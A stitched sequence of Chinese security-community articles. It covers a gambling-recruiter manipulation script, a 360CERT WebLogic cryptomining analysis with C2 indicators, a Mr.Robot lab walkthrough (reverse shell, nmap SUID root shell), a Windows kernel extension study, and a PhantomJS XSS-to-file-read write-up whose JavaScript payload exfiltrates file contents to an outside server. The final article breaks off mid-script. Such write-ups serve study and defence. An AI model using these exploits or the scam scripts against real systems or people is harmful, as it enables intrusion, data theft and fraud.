**异常交易策略：** 当赌客投注交易中出现如下状况，需要进行人工审核及监控。
## 引导赌客在菠菜平台充值投注
通过引流、获客等方式将赌客导流到菠菜平台后，接下来最重要的环节就是引导赌客在菠菜平台充值投注，主要通过 **开发会员、切平台、充值下注及续充留存**
三个流程来实现。
## 开发会员
主要是让赌客信任自己及平台，其主要包含 **初步认识、熟悉阶段、信任阶段、知己阶段**
四个过程构成，每个阶段通过不同的形象包装、聊天话术，用户玩家对你产生兴趣，想要去了解，从而去信任你。
有点杀猪盘内味儿…
## 切平台
指的是切入平台产品，引导用户玩家早点了解菠菜平台快速成交，试探用户玩家对菠菜游戏的看法。
**手法举例**
**1、切入时机**
n白天尽量不切，一般在晚上，有开奖日的时候切，避免被怀疑是业务员；
n在初步建立信任感的基础上切，必须要有一次语音，照片，或者视频过。
n正式切入之前，决口不提平台产品，通常会聊工作、生活；一旦切入之后，就每天不停的切，中间不能断。用户玩家要是问起为什么总是玩，就回答也不是每天玩，而是最近形式好，要趁机赚钱。
**2、切入话术**
和玩家聊的正嗨的时候，给他发一句：“和你说个事哦”，然后不要理他，隔十几分钟或半小时再回复：“不好意思，刚刚朋友喊我下注去了”。观察用户玩家反应，如果对方好奇问你在做什么，都是简单的回答以吊用户玩家的胃口。
##
## 充值下注及续充留存
指的是当赌客了解菠菜平台基本操作后，一步步引导对方进行大额投注。
**手法举例**
n谈资金永远是从大往小了谈，前期包装自己是充值大资金在玩，投资也是大资金，这样会让赌客觉得能跟着你一起玩是占了便宜，是借助了你的关系才能有很稳的计划。
n用户玩家要是怀疑你是业务员没有明说的，一定要表明我朋友在菠菜平台内部有关系，我只是从事菠菜行业。
…………
看过以上关于狗推的各种话术和聊天技巧，简直就是套路中的“王中王”，谁能不说一句“论狗推的自我修养”…… | 社区文章 |
# 360CERT：利用WebLogic漏洞挖矿事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 事件背景
近日，360攻防实验室（360ADLab）共享了一份“黑客利用Oracle
WebLogic漏洞攻击”的威胁情报，攻击者疑似利用CVE-2017-3506/CVE-2017-10352漏洞进行加载恶意程序进行门罗币挖矿攻击。
360ADLab和360CERT对此次事件进行了技术分析。
鉴于该漏洞可直接远程获取目标系统权限和虚拟货币的明显增值，建议相关企业尽快进行安全评估。
## 0x01 WebLogic相关漏洞分析
根据目前的信息分析，攻击者使用的漏洞为Oracle WebLogic已修复的漏洞CVE-2017-3506/CVE-2017-10352。
该类型漏洞攻击方式比较简单，攻击者通过特殊构造的HTTP包就能获取目标系统权限，且该漏洞影响到Linux和Windows等平台下的WebLogic服务。
### 分析环境
### 技术细节
分析人员在使用已公开的WebLogic攻击代码测试后，根据返回包异常信息中的调用栈可以知道会进入到WorkContextXmlInputAdapter类中的readUTF方法中去：
WorkContextXmlInputAdapter类其中一部分：
在这里是会使用XMLDecoder来进行反序列化的。通过下断点远程调试来观察其具体流程：
可以看到攻击代码中构造好的数据直接进入到了XMLDecoder类的readObject方法中，接下来的便是获取对象类型，参数和执行方法的反序列化过程。攻击代码中使用ProcessBuilder来实现远程命令执行。针对这个地方的漏洞，weblogic在4月份是发布了补丁的。下面是WorkContextXmlInputAdapter类源代码和4月份补丁的对比：
可以明显看到添加了一个validate方法来对输入流进行校验，但是该校验方法是非常简单的，通过获取标签名来检测是否有object标签的出现，要是出现了object标签便抛出异常来终止执行流程。但是这个检测方法是非常不严谨的，在不使用object标签的情况下一样是可以利用的。利用演示：
最后看下10月份的补丁：
相对于4月份的补丁来说添加了更多对于其它标签的检测，只有打了10月份的补丁这个漏洞才能真正被补上。
## 0x02 攻击流程
攻击者通过预先收集包括Windows和Linux平台的WebLogic目标主机（实际上不仅仅是WebLogic漏洞），再通过CVE-2017-3506/CVE-2017-10352对目标主机植入挖矿程序，包括Carbon/xmrig,
, Claymore-XMR-CPU-Miner等。该攻击行为会造成目标主机CPU资源耗尽等风险。
根据对45[.]123[.]190[.]178等一系列C2里存活样本的分析，攻击者整体上会进行如下攻击流程：
1\. 通过WebLogic等漏洞植入对应恶意代码。
2\. 攻击时会适配对应系统：
a) Windows通过PowerShell脚本，win.txt。
b) Linux平台通过Shell脚本，lin.txt。
3\. 具体会执行如下挖矿操作（疑似xmrig）：
a) 创建挖矿进程
b) 注册矿机信息
c) 存活性监测
### 相关技术信息
1\. 攻击者挖矿xmrig，github地址为：
https[:]//github.com/xmrig/xmrig
2\. 相关PowerShell脚本
[ http://C2/win.txt]
3\. 相关Shell脚本
[ http://C2/lin.txt]
4\. 运行状态
5\. 部分文件组成
6\. 帐号相关信息
42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8
7\. 疑似被黑网站，用作C2
### IoCs
域名/IP
45[.]123[.]190[.]178
69[.]165[.]65[.]252
www.letsweb.000webhostapp.com
## 0x03 安全建议
360ADLab和360CERT建议受该漏洞影响的用户，及时更新相关补丁。
## 0x04 时间线
2017-04-24 CVE-2017-3506披露
2017-10-19 CVE-2017-10352披露
2017-12-20 360ADLab提供威胁情报
2017-12-22 360ADLab 和360CERT对事件进行分析
## 0x05 参考
1\. 关于近期发生的利用weblogic漏洞进行挖矿事件的漏洞简要分析
https://www.anquanke.com/post/id/92003 | 社区文章 |
# Mr.Robot靶机实战演练
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
靶机主题来自美剧《黑客军团》，这是一部传达极客精神和黑客文化的上佳作品，不同于《硅谷》的搞笑风格，这部剧的主角Eliot患有精神分裂，整部剧的情节都较为压抑，有点类似于电影《搏击俱乐部》中双重人格的斗争。
虽然有影视色彩的加成，但是剧中的黑客技术细节还是足够真实的，起码符合常规的入侵渗透思路，强烈推荐该剧。
本次靶机有三个flag，难度在初级到中级，非常适合新手训练学习，不需要逆向技术，目标就是找到三个key，并且拿到主机root权限。
## 环境配置
靶机下载地址：<https://www.vulnhub.com/entry/mr-robot-1,151/>
我使用的是VMware，导入ova文件，NAT方式连接后靶机自动获取IP
本次实战：
靶机IP：192.168.128.142
攻击机IP：192.168.128.106
## 实战演练
nmap开路，IP发现：
端口发现，服务版本探测：
`nmap -sV -O 192.168.128.142`
开启了三个端口，发现web端口：80,443
查看源码没有发现可用信息，用dirb跑目录：
发现有robots.txt文件，访问<http://192.168.128.142/robots.txt>
发现两个文件，访问发现第一个目录里是一个密码字典，第二个像是一个密码哈希，这是第一个key
073403c8a58a1f80d943455fb30724b9
密码哈希无法爆破，字典也先放着后面用，现在用nikto扫描，看看有没有可用漏洞：
发现有wordpress服务，之前dirb扫目录也发现了wordpress登录页面
<http://192.168.128.142/wp-login>
发现wordpress服务，用wpscan扫描网站，只有登录页面，并没有发现什么可用漏洞
在登录页面随便输入之前字典中的用户，发现可以枚举用户名：
用burp枚举出了两个用户名：
用elloit作为用户名，再挂上这个字典跑密码：
跑了好久，终于跑出密码：ER28-0652，字典实在太大了，对字典做了筛选
为了截图方便就把重新跑了一遍
接下来就是获取权限了，登陆之后，依次点击apperance>editor>404.php
在kali找到php-reverse-shell.php，将其覆盖到404.php
更改监听端口，IP
攻击机上监听此端口，访问[http://192.168.128.142/234543658，任意不存在页面触发shell](http://192.168.128.142/234543658%EF%BC%8C%E4%BB%BB%E6%84%8F%E4%B8%8D%E5%AD%98%E5%9C%A8%E9%A1%B5%E9%9D%A2%E8%A7%A6%E5%8F%91shell)
执行 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 获得一个更加稳定的shell
接下来查看靶机密码文件：
发现没法利用，先放一放。再看看其他目录，找到一个密码的md5散列.
拿出来破解:<https://hashkiller.co.uk/md5-decrypter.aspx>
abcdefghijklmnopqrstuvwxyz
用得到的密码登录robot
拿到第二个key，并且又拿到一个加密哈希，估计这个是root用户的密码
提升权限，但是没有成功，只能想别的办法
最后找到一个办法，用nmap执行root权限
nmap产生了一个root权限的新shell
代码如下：
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:/$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:/$ pwd
pwd
/
robot@linux:/$ cd /home
cd /home
robot@linux:/home$ ls
ls
robot
robot@linux:/home$ cd robot
cd robot
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@linux:~$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
robot@linux:~$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
robot@linux:~$ /usr/local/bin/nmap —version
/usr/local/bin/nmap —version
nmap version 3.81 ( http://www.insecure.org/nmap/ )
robot@linux:~$ nmap —interactive
nmap —interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode — press h <enter> for help
nmap> !whoami
!whoami
root
waiting to reap child : No child processes
nmap> !bash -p
!bash -p
bash-4.3# whoami
whoami
root
bash-4.3# cd /root
cd /root
bash-4.3# ls -al
ls -al
total 32
drwx——— 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw———- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r—r— 1 root root 3274 Sep 16 2015 .bashrc
drwx——— 2 root root 4096 Nov 13 2015 .cache
-rw-r—r— 1 root root 0 Nov 13 2015 firstboot_done
-r———— 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r—r— 1 root root 140 Feb 20 2014 .profile
-rw———- 1 root root 1024 Sep 16 2015 .rnd
bash-4.3# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
bash-4.3# ls
ls
firstboot_done key-3-of-3.txt
成功拿到第三个key：
04787ddef27c3dee1ee161b21670b4e4
拿到靶机root权限，game over。
## 总结
这个靶机的难度并不大，遇到的难点：
1.使用 python -c ‘import pty; pty.spawn(“/bin/bash”)’
可以获得一个稳定的shell，这个在实际渗透中用处也很大
2.用了很多办法，一直拿不到root权限，查了很多资料发现了nmap自带的提权脚本，这个技能get
3.这个靶机只开了web端口，ssh应该也是可以触发的，大牛们可以尝试
4.思路就是通过web页面漏洞拿下了整个主机，wp提权思路也很多，大家也可以换思路渗透
## 参考文章
<https://www.vulnhub.com/entry/mr-robot-1,151/>
<https://blog.christophetd.fr/write-up-mr-robot/>
[https://blog.vonhewitt.com/2017/08/mr-robot1-vulnhub-writeup/`](https://blog.vonhewitt.com/2017/08/mr-robot1-vulnhub-writeup/%60)
审核人：yiwang 编辑：少爷 | 社区文章 |
# Windows内核扩展机制研究
|
##### 译文声明
本文是翻译文章，文章原作者 yarden-shafir，文章来源：medium.com
原文地址：<https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
最近我需要写一个内核模式驱动，这种工作通常会让许多人恼怒不堪，无法从容处理（转述自Douglas Adams）。
与我之前写过的代码一样，这个驱动也存在几个主要的bug，会导致一些有趣的副作用。具体而言，该驱动会阻止其他驱动正确加载，导致系统崩溃。
事实证明，许多驱动会默认自己的初始化例程（`DriverEntry`）始终能够成功执行，当意外情况发生时并不具备相应的处置办法。[j00ru](https://twitter.com/j00ru)在几年前的一篇[博客](https://j00ru.vexillium.org/2012/11/defeating-windows-driver-signature-enforcement-part-1-default-drivers/)中讨论了其中一些案例，并且其中许多案例仍可以在当前的Windows版本中找到关联线索。然而，这些bug驱动并不是我遇到的那个问题，并且j00ru对这些bug驱动的分析也比我更加全面。我关注的是其中一个驱动，进一步分析后，我开始研究“windows
kernel host extensions”（Windows内核宿主扩展）机制。
## 二、初步分析
我们的目标是`Bam.sys`（Background Activity Moderator），这是Windows 10
1709（RS3）版新引入的一个驱动。当该驱动的`DriverEntry`中途失败时，系统会出现崩溃，相关调用栈情况如下所示：
从崩溃转储信息中，我们可知`Bam.sys`注册了一个进程创建回调函数，并且在卸载前忘记取消注册该回调。因此，当进程被创建/终止时，系统会尝试调用该回调函数，结果就碰到无效指针，发生崩溃。
这里有趣的并不是系统崩溃这件事，而是`Bam.sys`注册该回调的过程。通常情况下，驱动会通过`nt!PsSetCreateProcessNotifyRoutine(Ex)`来注册进程创建回调函数，将回调函数加入`nt!PspCreateProcessNotifyRoutine`数组中。然后，当进程被创建或者终止时，`nt!PspCallProcessNotifyRoutines`会遍历该数组，调用已注册的所有回调。然而，如果我们在WindDbg中运行`!wdbgark.wa_systemcb
/type
process`命令（参考[wdbgark](https://github.com/swwwolf/wdbgark)），会看到数组中并不存在`Bam.sys`所使用的回调。
相反，`Bam.sys`使用了另一种机制来注册回调函数。
如果我们去分析`nt!PspCallProcessNotifyRoutines`，就会看到其中显式引用了名为`nt!PspBamExtensionHost`的一些变量（`Dam.sys`驱动中也存在另一个类似变量）。通过这种“extension
host”机制，`nt!PspCallProcessNotifyRoutines`就可以得到一张“extension
table”（扩展表），然后调用extension table中的第一个函数，也就是`bam!BampCreateProcessCallback`。
## 三、扩展机制分析
如果我们在IDA中打开`Bam.sys`，很容易就能找到`bam!BampCreateProcessCallback`，进一步搜索相关的交叉引用（xref）。幸运的是，这里只有一处交叉引用，位于`bam!BampRegisterKernelExtension`中：
正如我们猜想的那样，驱动并没有通过正常的回调注册机制来注册`Bam!BampCreateProcessCallback`，实际上该函数存放在名为`Bam!BampKernelCalloutTable`的一张函数表中，该表随后会与其他一些参数传递给未公开的`nt!ExRegisterExtension`函数（稍后我们再讨论这些参数）。
我尝试搜索相关文档或者线索，想知道这个函数具体负责的工作，或者澄清这究竟是什么扩展，但找到的线索寥寥无几。我找到最有用的一个资源就是公开泄露的[ntosifs.h](https://github.com/room/winsdk10/blob/d1acc505c51b11a6ceafb0f93c9dc584b8b4a9d3/Include/10.0.10240.0/um/minwin/ntosifs.h)头文件，头文件中包含`nt!ExRegisterExtension`的原型以及`_EX_EXTENSION_REGISTRATION_1`结构的布局信息。
`ntosifs.h`中关于`nt!ExRegisterExtension`原型以及`_EX_EXTENSION_REGISTRATION_1`结构的内容如下：
NTKERNELAPI NTSTATUS ExRegisterExtension (
_Outptr_ PEX_EXTENSION *Extension,
_In_ ULONG RegistrationVersion,
_In_ PVOID RegistrationInfo
);
typedef struct _EX_EXTENSION_REGISTRATION_1 {
USHORT ExtensionId;
USHORT ExtensionVersion;
USHORT FunctionCount;
VOID *FunctionTable;
PVOID *HostInterface;
PVOID DriverObject;
} EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1;
经过一番逆向分析后，我发现`PVOID
RegistrationInfo`这个输入参数实际上为`PEX_EXTENSION_REGISTRATION_1`类型。
`nt!ExRegisterExtension`的伪代码请参考附录B，这里给出该函数的主要工作流程，如下所示：
1、`nt!ExRegisterExtension`提取`RegistrationInfo`结构中`ExtensionId`和`ExtensionVersion`成员的值，然后通过`nt!ExpFindHost`函数（参考附录B）使用这些值来查找`nt!ExpHostList`中与之匹配的host；
2、然后，该函数验证`RegistrationInfo->FunctionCount`所提供的函数数量是否与host结构中设置的预期数量值相匹配。函数还会确保host的`FunctionTable`字段尚未被初始化。从这点来看，该检查机制意味着一个内核扩展无法多次注册；
3、如果一切正常，那么host的`FunctionTable`就会指向`RegistrationInfo`中的`FunctionTable`；
4、此外，`RegistrationInfo->HostInterface`会指向host结构中的一些数据。这一点比较有趣，后面我们会回头讨论这些数据；
5、最终，经过完整初始化的host会通过输出参数返回给调用方。
可以看到`nt!ExRegisterExtension`会搜索与`RegistrationInfo`匹配的host。现在的问题在于，这些host来源于何处？
在初始化阶段，NTOS会多次调用`nt!ExRegisterHost`。在每次调用时，NTOS都会传递一个结构体，用来标识预定的驱动列表（完整列表请参考附录A）中的某个驱动。比如，用来初始化`Bam.sys`
host的调用代码如下：
`nt!ExRegisterHost`会分配类型为`_HOST_LIST_ENTRY`（我起的一个非官方名称）的一个结构体，使用调用方提供的数据来初始化该结构体，然后将其附加到`nt!ExpHostList`的末尾。`_HOST_LIST_ENTRY`结构没有公开文档，其布局如下：
struct _HOST_LIST_ENTRY
{
_LIST_ENTRY List;
DWORD RefCount;
USHORT ExtensionId;
USHORT ExtensionVersion;
USHORT FunctionCount; // number of callbacks that the extension
// contains
POOL_TYPE PoolType; // where this host is allocated
PVOID HostInterface; // table of unexported nt functions,
// to be used by the driver to which
// this extension belongs
PVOID FunctionAddress; // optional, rarely used.
// This callback is called before
// and after an extension for this
// host is registered / unregistered
PVOID ArgForFunction; // will be sent to the function saved here
_EX_RUNDOWN_REF RundownRef;
_EX_PUSH_LOCK Lock;
PVOID FunctionTable; // a table of the callbacks that the
// driver “registers”
DWORD Flags; // Only uses one bit.
// Not sure about its meaning.
} HOST_LIST_ENTRY, *PHOST_LIST_ENTRY;
当某个预定的驱动加载时，会使用`nt!ExRegisterExtension`注册一个扩展，并会提供一个`RegistrationInfo`结构，结构中包含一个函数表（如`Bam.sys`的工作流程一样），该函数表会存放于对应host的`FunctionTable`成员中。在某些情况下，NTOS会调用这些函数，因而这些函数的角色也类似于某种回调函数。
前文提到过，`nt!ExRegisterExtension`会设置`RegistrationInfo->HostInterface`（其中包含调用驱动的一个全局变量），将其指向host结构中发现的某些数据。现在我们回头来分析这一点。
注册扩展的每个驱动都对应由NTOS初始化的一个host。该host中包括许多信息，其中包含一个`HostInterface`指针，该指针指向包含
**未导出** 的NTOS函数的一张预定表。不同驱动会收到不同的`HostInterface`，而有些驱动得不到该信息。
比如，`Bam.sys`收到的`HostInterface`如下：
因此，“内核扩展”机制实际上是一个双向通信端口：驱动提供一个“回调”列表，以便在不同场合下调用，然后会收到在驱动内部可以使用的一组函数。
还是回到`Bam.sys`这个例子，该驱动提供的回调函数如下：
BampCreateProcessCallback
BampSetThrottleStateCallback
BampGetThrottleStateCallback
BampSetUserSettings
BampGetUserSettingsHandle
与`Bam.sys`对应的host事先“知道”会收到包含5个函数的一张表，由于函数通过索引来调用，因此这些函数必须按照上面的顺序排列。在这个例子中，系统会调用`nt!PspBamExtensionHost->FunctionTable[4]`这个函数：
## 四、总结
总而言之，Windows中存在一种机制，可以用来“扩展”NTOS，具体过程是先注册某些回调函数，然后接收驱动可以使用的未导出函数。
我并不清楚这个知识点是否能发挥实际作用，但觉得这方面内容比较有趣，值得与大家分享。关于该机制如果大家有其他有用或者有趣的想法，欢迎随时与我分享。
## 五、附录
### 附录A：由NTOS初始化的ExtensionHost
### 附录B：部分函数伪代码
`ExRegisterExtension.c`：
NTSTATUS ExRegisterExtension(_Outptr_ PEX_EXTENSION *Extension, _In_ ULONG RegistrationVersion, _In_ PREGISTRATION_INFO RegistrationInfo)
{
// Validate that version is ok and that FunctionTable is not sent without FunctionCount or vise-versa.
if ( (RegistrationVersion & 0xFFFF0000 != 0x10000) || (RegistrationInfo->FunctionTable == nullptr && RegistrationInfo->FunctionCount != 0) )
{
return STATUS_INVALID_PARAMETER;
}
// Skipping over some lock-related stuff,
// Find the host with the matching version and id.
PHOST_LIST_ENTRY pHostListEntry;
pHostListEntry = ExpFindHost(RegistrationInfo->ExtensionId, RegistrationInfo->ExtensionVersion);
// More lock-related stuff.
if (!pHostListEntry)
{
return STATUS_NOT_FOUND;
}
// Verify that the FunctionCount in the host doesn't exceed the FunctionCount supplied by the caller.
if (RegistrationInfo->FunctionCount < pHostListEntry->FunctionCount)
{
ExpDereferenceHost(pHostListEntry);
return STATUS_INVALID_PARAMETER;
}
// Check that the number of functions in FunctionTable matches the amount in FunctionCount.
PVOID FunctionTable = RegistrationInfo->FunctionTable;
for (int i = 0; i < RegistrationInfo->FunctionCount; i++)
{
if ( RegistrationInfo->FunctionTable[i] == nullptr )
{
ExpDereferenceHost(pHostListEntry);
return STATUS_ACCESS_DENIED;
}
}
// skipping over some more lock-related stuff
// Check if there is already an extension registered for this host.
if (pHostListEntry->FunctionTable != nullptr || FlagOn(pHostListEntry->Flags, 1) )
{
// There is something related to locks here
ExpDereferenceHost(pHostListEntry);
return STATUS_OBJECT_NAME_COLLISION;
}
// If there is a callback function for this host, call it before registering the extension, with 0 as the first parameter.
if (pHostListEntry->FunctionAddress)
{
pHostListEntry->FunctionAddress(0, pHostListEntry->ArgForFunction);
}
// Set the FunctionTable in the host to the table supplied by the caller, or to MmBadPointer if a table wasn't supplied.
if (RegistrationInfo->FunctionTable == nullptr)
{
pHostListEntry->FunctionTable = nt!MmBadPointer;
}
else
{
pHostListEntry->FunctionTable = RegistrationInfo->FunctionTable;
}
pHostListEntry->RundownRef = 0;
// If there is a callback function for this host, call it after registering the extension, with 1 as the first parameter.
if (pHostListEntry->FunctionAddress)
{
pHostListEntry->FunctionAddress(1, pHostListEntry->ArgForFunction);
}
// Here there is some more lock-related stuff
// Set the HostTable of the calling driver to the table of functions listed in the host.
if (RegistrationInfo->HostTable != nullptr)
{
*(PVOID)RegistrationInfo->HostTable = pHostListEntry->hostInterface;
}
// Return the initialized host to the caller in the output Extension parameter.
*Extension = pHostListEntry;
return STATUS_SUCCESS;
}
`ExRegisterHost.c`：
NTSTATUS ExRegisterHost(_Out_ PHOST_LIST_ENTRY ExtensionHost, _In_ ULONG Unused, _In_ PHOST_INFORMATION HostInformation)
{
NTSTATUS Status = STATUS_SUCCESS;
// Allocate memory for a new HOST_LIST_ENTRY
PHOST_LIST_ENTRY p = ExAllocatePoolWithTag(HostInformation->PoolType, 0x60, 'HExE');
if (p == nullptr)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
//
// Initialize a new HOST_LIST_ENTRY
//
p->Flags &= 0xFE;
p->RefCount = 1;
p->FunctionTable = 0;
p->ExtensionId = HostInformation->ExtensionId;
p->ExtensionVersion = HostInformation->ExtensionVersion;
p->hostInterface = HostInformation->hostInterface;
p->FunctionAddress = HostInformation->FunctionAddress;
p->ArgForFunction = HostInformation->ArgForFunction;
p->Lock = 0;
p->RundownRef = 0;
// Search for an existing listEntry with the same version and id.
PHOST_LIST_ENTRY listEntry = ExpFindHost(HostInformation->ExtensionId, HostInformation->ExtensionVersion);
if (listEntry)
{
Status = STATUS_OBJECT_NAME_COLLISION;
ExpDereferenceHost(p);
ExpDereferenceHost(listEntry);
}
else
{
// Insert the new HOST_LIST_ENTRY to the end of ExpHostList.
if ( *lastHostListEntry != &firstHostListEntry )
{
__fastfail();
}
firstHostListEntry->Prev = &p;
p->Next = firstHostListEntry;
lastHostListEntry = p;
ExtensionHost = p;
}
return Status;
}
`ExpFindHost.c`：
PHOST_LIST_ENTRY ExpFindHost(USHORT ExtensionId, USHORT ExtensionVersion)
{
PHOST_LIST_ENTRY entry;
for (entry == ExpHostList; ; entry = entry->Next)
{
if (entry == &ExpHostList)
{
return 0;
}
if ( *(entry->ExtensionId) == ExtensionId && *(entry->ExtensionVersion) == ExtensionVersion )
{
break;
}
}
InterlockedIncrement(entry->RefCount);
return entry;
}
`ExpDereferenceHost.c`：
void ExpDereferenceHost(PHOST_LIST_ENTRY Host)
{
if ( InterlockedExchangeAdd(Host.RefCount, 0xFFFFFFFF) == 1 )
{
ExFreePoolWithTag(Host, 0);
}
}
### 附录C：结构定义
struct _HOST_INFORMATION
{
USHORT ExtensionId;
USHORT ExtensionVersion;
DWORD FunctionCount;
POOL_TYPE PoolType;
PVOID HostInterface;
PVOID FunctionAddress;
PVOID ArgForFunction;
PVOID unk;
} HOST_INFORMATION, *PHOST_INFORMATION;
struct _HOST_LIST_ENTRY
{
_LIST_ENTRY List;
DWORD RefCount;
USHORT ExtensionId;
USHORT ExtensionVersion;
USHORT FunctionCount; // number of callbacks that the
// extension contains
POOL_TYPE PoolType; // where this host is allocated
PVOID HostInterface; // table of unexported nt functions,
// to be used by the driver to which
// this extension belongs
PVOID FunctionAddress; // optional, rarely used.
// This callback is called before and
// after an extension for this host
// is registered / unregistered
PVOID ArgForFunction; // will be sent to the function saved here
_EX_RUNDOWN_REF RundownRef;
_EX_PUSH_LOCK Lock;
PVOID FunctionTable; // a table of the callbacks that
// the driver “registers”
DWORD Flags; // Only uses one flag.
// Not sure about its meaning.
} HOST_LIST_ENTRY, *PHOST_LIST_ENTRY;;
struct _EX_EXTENSION_REGISTRATION_1
{
USHORT ExtensionId;
USHORT ExtensionVersion;
USHORT FunctionCount;
PVOID FunctionTable;
PVOID *HostTable;
PVOID DriverObject;
}EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1; | 社区文章 |
译者：[D@先知安全技术社区](https://xianzhi.aliyun.com/forum/read/1808.html)
原文地址：[《Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File
Read》](http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
在一次赏金程序中，我碰见这么一个请求，用户输入然后生成图片供下载。过了一会儿，我便把图片内部的 XSS
升级成服务端的任意文件读取漏洞。因为程序的隐私性，所以我将尽力抹掉敏感信息。
原始请求如下：
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500
请求返回的文件如下：
最开始我执着于 background 参数，因为 background 的值是文件名，我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后，我发现
header 参数存在 HTML 注入。因为之前阅读过 pdf 中 xss 引起严重漏洞的笔记，所以我决定在这一点上进行深入。
请求：
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500
返回：
接着我尝试了任意 HTML 元素，结果非常有意思：基本上所有的 html
元素（iframe、img、script等）都被浏览器解析了。为了获取更多关于是什么在处理 html 的信息，我决定用自己的服务器作为 ssrf 目标。
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500
我自己的服务器端日志记录如下：
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
从上面的记录可知，请求字段中的 UA 字段表明了 HTML 页面的加载和图像的生成是由无 UA 头浏览器客户端 PhantomJS 来完成的。在
Phantom 方面，我是颇有经验的，因为 CTF 比赛中经常能碰到，同时我在自己的网络扫描器使用 Phantom 完成网站截图功能。知道了是
PhantomJS 处理 HTML ，这对于漏洞利用来说这是个好消息，因为这解释了我之前尝试利用漏洞时遇到的一些问题。
我遇到的第一个问题是基本的 payload 总是不能执行。比如说 `<script>` 不能正常执行、 `<img src=x onerror=>`
不会触发。我记得在100次重定向的尝试中就成功了一次。有些情况下，payload 根本不执行。除此之外，在尝试重定向到其他页面时还遇到一些服务器异常的情况。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500
响应：
{"message": "Internal server error"}.
我尝试了大概50种不同类型的 payload 才意识到真正的问题是 PhantomJS
存在某种条件竞争。在给我自己的扫描器编写插件时，我遇到过类似的问题。那是在尝试捕捉截图时，Phantom 不会等 JavaScript
完全加载后才渲染图片。
所以我必须想个办法在图片渲染前延缓 Phantom 以完成我 js 代码的加载。在尝试了几个想法后，我使用了 `document.write`
覆盖了图片内容，同时这个函数似乎解决了上面的问题。但是我不知道原理，只知道它起作用了。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500
响应:
这时，只要页面加载，存储型 JavaScript 就能执行。接下来我需要收集更多关于 PhantomJS 和代码执行上下文环境的信息。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500
响应：
上图的结果非常有意思，我们可以知道代码是从`file://`执行的，同时得知这是`/var/task`目录下的一个html文件。这时我想通过`<iframe>`引入文件来检测是否同源。
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500
现在可以得出结论了，至少`/var/task`下的任意文件可以被读取，接下来我想看看能否读取其他目录下的文件（比如`/etc/`目录）
&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
很尴尬，请求没有返回。
于是我对`/var/tasks`目录进行了搜索以便获取更多信息，最后发现这可能和 AWS Lambda
有关。这个发现让我将注意力放在了同目录下的某些文件上（比如`/var/task/index.js`），这些文件应该包含了 Phantom
插件的源码。所以我认为在`/var/`下我能访问的文件内容可能会提供更多信息，至少会有一些值得报告的信息。
理论上使用 XHR 和 Ajax 应该能够读取文件内容并在图片中展示或者将内容提取到我的服务器上。但直接通过`document.write`写入 js
代码发生了问题，最终我发现可以通过外部脚本来绕过这个问题。
Payload:
&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>
test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
